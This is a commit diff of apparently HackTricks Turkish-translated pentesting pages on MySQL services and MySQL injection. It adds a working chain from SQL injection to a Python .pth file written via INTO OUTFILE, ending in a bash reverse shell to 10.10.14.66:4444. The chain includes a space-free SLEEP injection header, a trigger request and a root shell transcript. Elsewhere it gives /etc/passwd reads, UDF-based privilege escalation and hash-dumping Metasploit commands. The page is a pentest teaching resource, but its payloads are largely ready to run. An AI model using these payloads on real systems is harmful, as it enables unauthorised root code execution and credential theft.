Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/

This commit is contained in:
Translator 2025-07-14 08:42:30 +00:00
parent 77786a9d2a
commit 9fb3855283
2 changed files with 87 additions and 22 deletions

View File

@ -1,5 +1,10 @@
# 3306 - Pentesting Mysql # 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Temel Bilgiler** ## **Temel Bilgiler**
@ -36,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
``` ```
### [**Brute force**](../generic-hacking/brute-force.md#mysql) ### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Herhangi bir ikili veri yazın ### Herhangi bir ikili veriyi yazın
```bash ```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +83,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;' mysql -u root -h 127.0.0.1 -e 'show databases;'
``` ```
### MySQL İzinlerinin Belirlenmesi ### MySQL İzinlerinin Sayımı
```sql ```sql
#Mysql #Mysql
SHOW GRANTS [FOR user]; SHOW GRANTS [FOR user];
@ -109,9 +114,46 @@ Dokümanlarda her bir ayrıcalığın anlamını görebilirsiniz: [https://dev.m
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}} {{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (site'e özgü yapılandırma kancaları)
Klasik `INTO OUTFILE` ilkesini kötüye kullanarak, daha sonra **Python** betikleri çalıştıran hedeflerde *keyfi kod yürütme* elde etmek mümkündür.
1. `INTO OUTFILE` kullanarak, `site.py` tarafından otomatik olarak yüklenen herhangi bir dizine özel bir **`.pth`** dosyası bırakın (örneğin `.../lib/python3.10/site-packages/`).
2. `.pth` dosyası, her seferinde yorumlayıcı başlatıldığında çalıştırılacak keyfi Python kodu ile başlayan `import ` ile başlayan *tek bir satır* içerebilir.
3. Yorumlayıcı, bir CGI betiği tarafından örtük olarak çalıştırıldığında (örneğin `/cgi-bin/ml-draw.py` shebang `#!/bin/python` ile) yük, web sunucusu süreci ile aynı ayrıcalıklarla yürütülür (FortiWeb bunu **root** olarak çalıştırdı → tam ön kimlik doğrulama RCE).
Örnek `.pth` yükü (tek satır, son SQL yüküne boşluk eklenemez, bu nedenle hex/`UNHEX()` veya dize birleştirme gerekebilir):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Bir **UNION** sorgusu aracılığıyla dosyanın oluşturulmasına örnek (boşluk karakterleri, toplam uzunluğu ≤128 bayt tutmak için `sscanf("%128s")` boşluk filtresini aşmak amacıyla `/**/` ile değiştirilmiştir):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Önemli sınırlamalar ve bypass'lar:
* `INTO OUTFILE` **mevcut** dosyaları **üzerine yazamaz**; yeni bir dosya adı seçin.
* Dosya yolu **MySQLin CWD'sine göre** çözülür, bu nedenle `../../` ile ön eklemek yolu kısaltmaya ve mutlak yol kısıtlamalarını aşmaya yardımcı olur.
* Saldırgan girişi `%128s` (veya benzeri) ile çıkarıldığında, herhangi bir boşluk yükü keser; boşlukları değiştirmek için MySQL yorum dizilerini `/**/` veya `/*!*/` kullanın.
* Sorguyu çalıştıran MySQL kullanıcısının `FILE` ayrıcalığına ihtiyacı vardır, ancak birçok cihazda (örneğin, FortiWeb) hizmet **root** olarak çalışır ve hemen hemen her yerde yazma erişimi sağlar.
`.pth` dosyasını bıraktıktan sonra, kod yürütmek için python yorumlayıcısı tarafından işlenen herhangi bir CGI'yi talep edin:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Python süreci, kötü niyetli `.pth` dosyasını otomatik olarak içe aktaracak ve shell yükünü çalıştıracaktır.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL istemcisi tarafından keyfi dosya okuma ## MySQL istemcisi tarafından keyfi dosya okuma
Aslında, bir **veri yükleme işlemi** yapmaya çalıştığınızda, MySQL veya MariaDB sunucusu **istemciden dosyayı okumasını** ve içeriği göndermesini ister. **Sonrasında, kendi MySQL sunucunuza bağlanmak için bir mysql istemcisini manipüle edebilirseniz, keyfi dosyaları okuyabilirsiniz.**\ Aslında, bir tabloya **yerel veri yüklemeye** çalıştığınızda, MySQL veya MariaDB sunucusu **istemciden dosyayı okumasını** ve içeriği göndermesini ister. **Sonra, eğer bir mysql istemcisini kendi MySQL sunucunuza bağlanacak şekilde değiştirebilirseniz, keyfi dosyaları okuyabilirsiniz.**\
Lütfen bunun şu şekilde bir davranış olduğunu unutmayın: Lütfen bunun şu şekilde bir davranış olduğunu unutmayın:
```bash ```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -123,8 +165,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
``` ```
**Başlangıç PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Bu belgede saldırının tam ıklamasını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Bu belgede saldırının tam tanımını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Saldırıya genel bir bakış bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) **Saldırıya genel bir bakış bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -146,10 +188,10 @@ MySQL hizmetlerinin yapılandırmasında, işletim ve güvenlik önlemlerini tan
- **`user`** ayarı, MySQL hizmetinin çalışacağı kullanıcıyı belirlemek için kullanılır. - **`user`** ayarı, MySQL hizmetinin çalışacağı kullanıcıyı belirlemek için kullanılır.
- **`password`** MySQL kullanıcısına bağlı olan şifreyi belirlemek için uygulanır. - **`password`** MySQL kullanıcısına bağlı olan şifreyi belirlemek için uygulanır.
- **`admin_address`**, yönetim ağ arayüzünde TCP/IP bağlantılarını dinleyen IP adresini belirtir. - **`admin_address`** yönetim ağ arayüzünde TCP/IP bağlantılarını dinleyen IP adresini belirtir.
- **`debug`** değişkeni, günlüklerde hassas bilgileri içeren mevcut hata ayıklama yapılandırmalarını gösterir. - **`debug`** değişkeni, günlüklerde hassas bilgileri içeren mevcut hata ayıklama yapılandırmalarını gösterir.
- **`sql_warnings`**, uyarılar ortaya çıktığında tek satırlık INSERT ifadeleri için bilgi dizelerinin üretilip üretilmeyeceğini yönetir ve günlüklerde hassas veriler içerebilir. - **`sql_warnings`** uyarılar ortaya çıktığında tek satırlık INSERT ifadeleri için bilgi dizelerinin üretilip üretilmeyeceğini yönetir ve günlüklerde hassas veriler içerebilir.
- **`secure_file_priv`** ile veri içe aktarma ve dışa aktarma işlemlerinin kapsamı güvenliği artırmak için kısıtlanmıştır. - **`secure_file_priv`** veri içe aktarma ve dışa aktarma işlemlerinin kapsamını kısıtlayarak güvenliği artırır.
### Yetki Yükseltme ### Yetki Yükseltme
```bash ```bash
@ -169,11 +211,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc) # Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh \! sh
``` ```
### Kütüphane Üzerinden Yetki Yükseltme ### Yetki Yükseltme kütüphanesi aracılığıyla
Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekecek. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'ün çalıştığı **işletim sistemi için bir kütüphane** gerekecek. Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekir. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için, mysql'ün çalıştığı **işletim sistemi için bir kütüphane** gerekecektir.
Kullanılacak kötü niyetli kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir, ihtiyacınız olanı seçin. Kullanılacak kötü niyetli kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir, ihtiyacınıza uygun olanı seçin.
Eğer bu kütüphanelere **sahip değilseniz**, ya **onları arayabilir** ya da bu [**linux C kodunu**](https://www.exploit-db.com/exploits/1518) indirip **linux zafiyetli makine içinde derleyebilirsiniz**: Eğer bu kütüphanelere **sahip değilseniz**, ya **onları arayabilir** ya da bu [**linux C kodunu**](https://www.exploit-db.com/exploits/1518) indirip **linux zafiyetli makine içinde derleyebilirsiniz**:
```bash ```bash
@ -222,7 +264,7 @@ cat /etc/mysql/debian.cnf
``` ```
Bu kimlik bilgilerini **mysql veritabanına giriş yapmak için kullanabilirsiniz**. Bu kimlik bilgilerini **mysql veritabanına giriş yapmak için kullanabilirsiniz**.
Dosyanın içinde: _/var/lib/mysql/mysql/user.MYD_ **MySQL kullanıcılarının tüm hash'lerini** (veritabanındaki mysql.user'dan çıkarabileceğiniz) bulabilirsiniz._ Dosyanın içinde: _/var/lib/mysql/mysql/user.MYD_ **MySQL kullanıcılarının tüm hash'lerini** (veritabanındaki mysql.user'dan çıkarabileceğiniz) bulabilirsiniz_._
Bunları çıkarmak için: Bunları çıkarmak için:
```bash ```bash
@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
``` ```
## Referanslar
- [Ön kimlik doğrulama SQLi'den RCE'ye Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -52,7 +52,7 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
## Akış ## Akış
"Modern" **MySQL** sürümlerinde "_**information_schema.tables**_" yerine "_**mysql.innodb_table_stats**_" kullanabileceğinizi unutmayın (Bu, WAF'leri atlatmak için faydalı olabilir). Unutmayın ki **MySQL**'in "modern" sürümlerinde "_**information_schema.tables**_" yerine "_**mysql.innodb_table_stats**_" kullanabilirsiniz (Bu, WAF'leri atlatmak için faydalı olabilir).
```sql ```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -117,30 +117,51 @@ Daha fazla bilgi için lütfen [bu blog yazısına](https://karmainsecurity.com/
Unutmayın ki **MySQL**'in "modern" sürümlerinde _**information_schema.tables**_ yerine _**mysql.innodb_table_stats**_ veya _**sys.x$schema_flattened_keys**_ veya **sys.schema_table_statistics** kullanabilirsiniz. Unutmayın ki **MySQL**'in "modern" sürümlerinde _**information_schema.tables**_ yerine _**mysql.innodb_table_stats**_ veya _**sys.x$schema_flattened_keys**_ veya **sys.schema_table_statistics** kullanabilirsiniz.
### MySQL enjeksiyonu KOMALAR olmadan ### MySQL enjeksiyonu VIRGÜLSÜZ
Herhangi bir virgül kullanmadan 2 sütun seçin ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): Virgül kullanmadan 2 sütun seçin ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
``` ```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
``` ```
### Sütun adını bilmeden değerleri alma ### Sütun adı olmadan değerleri alma
Eğer bir noktada tablonun adını biliyorsanız ama tablodaki sütunların adını bilmiyorsanız, kaç tane sütun olduğunu bulmak için şu şekilde bir şey çalıştırmayı deneyebilirsiniz: Eğer bir noktada tablonun adını biliyorsanız ama tablonun içindeki sütunların adını bilmiyorsanız, kaç tane sütun olduğunu bulmak için şöyle bir şey deneyebilirsiniz:
```bash ```bash
# When a True is returned, you have found the number of columns # When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
``` ```
Varsayalım ki 2 sütun var (ilk sütun ID, diğeri ise flag), flag'in içeriğini karakter karakter denemek için bruteforce yapmayı deneyebilirsiniz: Varsayalım ki 2 sütun var (ilk sütun ID, diğeri ise flag), flag'in içeriğini karakter karakter denemeye çalışarak bruteforce yapabilirsiniz:
```bash ```bash
# When True, you found the correct char and can start ruteforcing the next position # When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1); select (select 1, 'flaf') = (SELECT * from demo limit 1);
``` ```
Daha fazla bilgi için [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) Daha fazla bilgi için [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### BOŞLUKSIZ Enjeksiyon (`/**/` yorum hilesi)
Bazı uygulamalar, kullanıcı girişini `sscanf("%128s", buf)` gibi fonksiyonlarla temizler veya ayrıştırır ve bu fonksiyonlar **ilk boşluk karakterinde durur**. MySQL, `/**/` dizisini hem bir yorum *hem de* boşluk olarak kabul ettiğinden, sorgunun sözdizimsel olarak geçerli kalmasını sağlarken yükten normal boşlukları tamamen kaldırmak için kullanılabilir.
Boşluk filtresini aşan zaman tabanlı kör enjeksiyon örneği:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Veritabanının aldığı:
```sql
' OR SLEEP(5)-- -'
```
Bu özellikle kullanışlıdır:
* Kontrol edilebilir tampon boyutunun kısıtlı olduğu durumlarda (örneğin, `%128s`) ve boşluklar girişi erken sonlandırır.
* Normal boşlukların silindiği veya ayırıcı olarak kullanıldığı HTTP başlıkları veya diğer alanlar aracılığıyla enjekte ederken.
* Tam ön kimlik doğrulama RCE elde etmek için `INTO OUTFILE` ilkeleri ile birleştirildiğinde (MySQL Dosya RCE bölümüne bakın).
---
### MySQL tarihi ### MySQL tarihi
MySQL içinde diğer yürütmeleri görebilirsiniz: **sys.x$statement_analysis** tablosunu okuyarak MySQL içinde diğer yürütmeleri görebilirsiniz: **sys.x$statement_analysis**
### Versiyon alternatif**leri** ### Versiyon alternatif**leri**
``` ```
@ -150,11 +171,12 @@ mysql> select version();
``` ```
## Diğer MYSQL enjeksiyon kılavuzları ## Diğer MYSQL enjeksiyon kılavuzları
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) - [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Referanslar ## Referanslar
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) - [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}